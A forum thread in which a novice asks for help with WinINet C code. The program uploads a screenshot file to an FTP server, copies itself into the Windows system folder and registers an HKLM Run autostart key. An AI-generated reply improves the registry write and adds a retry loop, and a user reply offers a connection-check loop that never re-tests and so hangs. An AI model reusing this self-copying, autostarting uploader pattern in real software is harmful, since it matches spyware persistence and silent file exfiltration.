Hi all i was wondering if any one could help me i have a program i made using wininet in c c++ and my program is not seeing if there is a connections before completing with the execution ive tried to get it sorted but cant seam to figure it out i was guna use a loop and just make the program start over and over again till it finds a connection here is what ive got so far any help would be much apriciated.
Here is what ive got so far im verry new to c c++ but im trying to learn some stuff the program uploads to our ftp server a jpg file of screen shot from punk buster.I had to add it to the reg just incase we need to reboot our game server.This is what i have so far.
:rolleyes:

#include <stdio.h>
#include <wininet.h>

#define server "test"
#define user "test"
#define pass "test"


int Upload(char *localFile, char *remoteFile){
HINTERNET iSession;
HINTERNET iConnect;
    
iSession = InternetOpen("Explorer" , INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
iConnect = InternetConnect ( iSession, server, INTERNET_DEFAULT_FTP_PORT, user, pass, INTERNET_SERVICE_FTP, 0, 0);
    
if(TRUE==FtpPutFile( iConnect, localFile, remoteFile, FTP_TRANSFER_TYPE_BINARY, 0))

    printf("Success");//I need this to just carry on exe

    else printf("Error!");//Im trying to get this to loop till conection is found
    
    
InternetCloseHandle(iConnect);
InternetCloseHandle(iSession);

return 0;
}

int main(void)
{   
    
Upload("C:\\1.jpg","1.jpg");

char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));

strcat(system,"\\test.exe");

CopyFile(pathtofile,system,false);


HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey); 

 return 0;
}

Dani AI

Generated

A few concrete fixes and a safe retry pattern that tie into 's suggestion.

Main problems in the posted code

  • The Upload function always returns 0, so a caller can never tell success from failure. Make the function return a meaningful status (nonzero or zero on success, consistent with your convention) and check it.
  • Handles and return values from InternetOpen, InternetConnect and FtpPutFile are not checked before use/close. Always test for NULL/FALSE and call GetLastError() when something fails.
  • Polling without backoff burns CPU. Sleep(1) or an empty loop is the issue; use a sleep with an increasing delay or a capped backoff. was right to use InternetGetConnectedState, but combine that with backoff and proper error checks.
  • Unsafe string/registry usage: strcat(system, "\\test.exe") and RegSetValueEx(..., sizeof(system)) are wrong — use safe concatenation and pass the actual string length + 1 when writing registry strings.

Example integration (wrapper logic)

/* Pseudocode: wait with backoff, then call Upload(), repeat until Upload reports success */
int UploadWithRetry(const char *local, const char *remote)
{
    int delay = 250;          /* start small */
    const int maxDelay = 5000;/* cap */
    for (;;) {
        DWORD flags;
        if (InternetGetConnectedState(&flags, 0)) {
            int r = Upload(local, remote); /* Upload must return success/fail */
            if (r == 0) return 0;         /* success */
            /* optionally log GetLastError() from inside Upload */
        }
        Sleep(delay);
        if (delay < maxDelay) delay = min(delay * 2, maxDelay);
    }
}

Practical tips

  • Change Upload to return an error code and close handles on every path. Use FormatMessage + GetLastError to log failures while developing.
  • Consider InternetSetOption to shorten FTP timeouts if needed.
  • Use PathCombine or snprintf to build paths safely and pass strlen(path)+1 to RegSetValueEx for ANSI builds (or sizeof(wchar_t)*(wcslen+1) for Unicode).
  • Remember writing to HKLM or System folder requires admin rights on modern systems; test with elevated privileges.

References: InternetGetConnectedState and check the WinINet docs for FtpPutFile and InternetSetOption when tuning timeouts.

Recommended Answers

All 2 Replies

Connection? Like so:?

DWORD dwVal;               
BOOL bInternetExists = InternetGetConnectedState(&dwVal, 0);     
while(bInternetExists != TRUE)
Sleep(100);
// Do upload!

Yes but haw would i intergrate ur code with mine to get it to work every way ive tried i end up eating all the sys resources can some one show me haw i could impament some thing into my code thanx.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.